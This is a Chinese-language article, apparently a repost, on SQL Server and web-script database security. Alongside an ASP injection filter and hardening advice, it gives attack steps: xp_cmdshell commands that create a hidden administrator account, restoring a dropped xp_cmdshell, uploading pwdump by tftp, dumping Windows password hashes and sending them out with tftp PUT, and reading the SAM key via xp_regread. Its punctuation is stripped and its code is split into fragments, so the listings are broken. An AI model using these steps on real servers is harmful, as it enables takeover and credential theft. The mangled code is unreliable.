從codered到nimda等
一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動利用了
大家還想去手工*作這些IIS漏洞麼？讓我們調整重心
去看看服務器常用的數據庫吧
一般網站都是基於數據庫的
特別是ASP
PHP
JSP這樣的用數據庫來動態顯示的網站
很多網站可能多注意的是*作系統的漏洞
但是對數據庫和這些腳本的安全總是忽略
也沒有太多注意
從最比較普遍的腳本問題開始
這些都是老話題了
大家可以參考Hectic寫的《關於數據庫的簡單入侵和無賴破壞
以天融信做例子》
該文章對從SQL腳本問題說得非常詳細
對於腳本安全的解決
也可以通過過濾來實現
可以參考我以前寫的
對於ASP來說
可以使用下面這個過濾函數
Function Filter_SQL(strData)
Dim strFilter
Dim blnFlag
Dim i
strFilter=
;
//
@
_
exec
declare
需要過濾的字符
可以自己添加
是分隔符
blnFlag=Flase
過濾標志
如果產生過濾
那麼就是真
Dim arrayFilter
arrayFilter=Split(strFilter
For i=
To UBound(arrayFilter)
If Instr(strData
arrayFilter(i))>
Then
blnFlag=True
Exit For
End If
Next
If blnFlag Then
Response
Redirect
wrong
asp
當發現有過濾*作時
導向一個預定頁面
反正正常訪問用不到的連接請求
總不是好事情
Else
Filter_SQL=strData
End If
End Function
對於MS SQL Server數據庫來說
安全問題不僅僅局限在腳本上了
天殺的微軟
的系統性很強
整個基於WINDOWS系統的應用都有很強的關聯性
對SQL Server來說
基本可以把數據庫管理和系統管理等同起來了
SQL Server默認的管理員帳號
sa
的密碼是空的
這給多數NT服務器產生一個安全漏洞
小榕的
SQLRCMD
就能夠利用獲得的數據庫管理員帳號執行系統命令
在SQL Server中有很多系統存儲過程
有些是數據庫內部使用的
還有一些就是通過執行存儲過程來調用系統命令
系統存儲過程
xp_cmdshell
就是以*作系統命令行解釋器的方式執行給定的命令字符串
它就具體語法是
xp_cmdshell {
command_string
} [
no_output]
xp_cmdshell在默認情況下
只有 sysadmin 的成員才能執行
但是
sysadmin也可以授予其他用戶這個執行權限
在早期版本中
獲得 xp_cmdshell 執行權限的用戶在 SQL Server 服務的用戶帳戶中運行命令
可以通過配置選項配置 SQL Server
以便對 SQL Server 無 sa 訪問權限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運行 xp_cmdshell
在 SQL Server
中
該帳戶稱為 SQLAgentCmdExec
現在對於SQL Server
只要有一個能執行該存儲過程的帳號就可以直接運行命令了
對於 NT 和 WIN
當用戶不是 sysadmin 組的成員時
xp_cmdshell 將模擬使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶
如果代理帳戶不能用
則 xp_cmdshell 將失敗
所以即使有一個帳戶是master數據庫的db_owner
也不能執行這個存儲過程
如果我們有一個能執行xp_cmdshell的數據庫帳號
比如是空口令的sa帳號
那麼我們可以執行這樣的命令
exec xp_cmdshell
net user refdom
/add
exec xp_cmdshell
net localgroup administrators refdom /add
上面兩次調用就在系統的管理員組中添加了一個用戶
refdom
當我們獲得數據庫的sa管理員帳號後
就應該可以完全控制這個機器了
可見數據庫安全的重要性
下面這些存儲過程都是對Public可以執行的
xp_fileexist
用來確定一個文件是否存在
xp_getfiledetails
可以獲得文件詳細資料
xp_dirtree
可以展開你需要了解的目錄
獲得所有目錄深度
Xp_getnetname
可以獲得服務器名稱
還有可以*作注冊表的存儲過程
這些不是對Public可以執行的
需要系統管理員或者授權執行
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread （對Public可以執行）
Xp_regremovemultistring
Xp_regwrite
SQL Server的安全配置
除跟著微軟打滿所有補丁外
還需要加強數據庫的安全
首先
你需要加強象sa這樣的帳號的密碼
跟系統帳號的使用配置相似
一般*作數據庫不要使用象sa這樣的最高權限的帳號
而使用能滿足你的要求的一般帳號
接著對擴展存儲過程開始大屠殺
首先就是xp_cmdshell
還有就是上面那些一大堆存儲過程
都drop吧
一般也用不著
執行
use master
sp_dropextendedproc
xp_cmdshell
去掉guest帳號
阻止非授權用戶訪問
去掉不必要的網絡協議
加強對數據庫登陸的日志記錄
最好記錄所有登陸事件
可以用下面的簡單DOS命令來查看日志
findstr /C:
登錄
d:\Microsoft SQL Server\MSSQL\LOG\*
*
用管理員帳號定期檢查所有帳號
是否密碼為空或者過於簡單
比如下面的語句
Use master
Select name
Password from syslogins where password is null
用下面語句對所有帳號
檢查對存儲過程和擴展存儲過程的執行權
提防不必要的執行權限擴散
Use master
Select sysobjects
name From sysobjects
sysprotects Where sysprotects
uid =
AND xtype IN (
X
P
) AND sysobjects
id = sysprotects
id
加強數據庫的安全是非常重要的
有的數據庫服務器是和WEB服務器隔離開的
這就同MAIL服務器一樣
數據庫的日志可能就基本很少去查看
這將會成為管理員的一個疏忽點
類似DNS
MAIL等等
數據庫服務器往往成為各種入侵的跳板
下面是一些關於數據庫的問答和技巧
獲得SA權限後
卻不能執行xp_cmdshell存儲過程怎麼辦？
答
可能是已經把xp_cmdshell等擴展存儲過程刪除了
可以用這個存儲過程把xp_cmdshell恢復
sp_addextendedproc
xp_cmdshell
xpsql
dll
通過數據庫用pwdump獲得系統管理員密碼
先上傳一個pwdump
tftp
i
GET pwdumpexe pwdumpexe
tftp i GET lsaextdll lsaextdll
tftp i GET pwserviceexe pwserviceexe
pwdump outfiletxt
tftp PUT outfiletxt outfiletxt
然後再用解密工具lpht等等破解這些密碼
從數據庫讀取系統管理員密碼
能讀出加密的密碼是NT的administrator帳號也不能做的SQL Server能讀出來是使用的LocalSystem帳號這個帳號比administrator更高一級可以使用下面這個存儲過程不過讀出來的密碼是經過加密後的然後再解密吧
xp_regread HKEY_LOCAL_MACHINESECURITY\SAM\Domains\AccountF
當然數據庫服務器的安全和缺陷還有很多還需要更多的研究
From:http://tw.wingwit.com/Article/program/Oracle/201311/16875.html
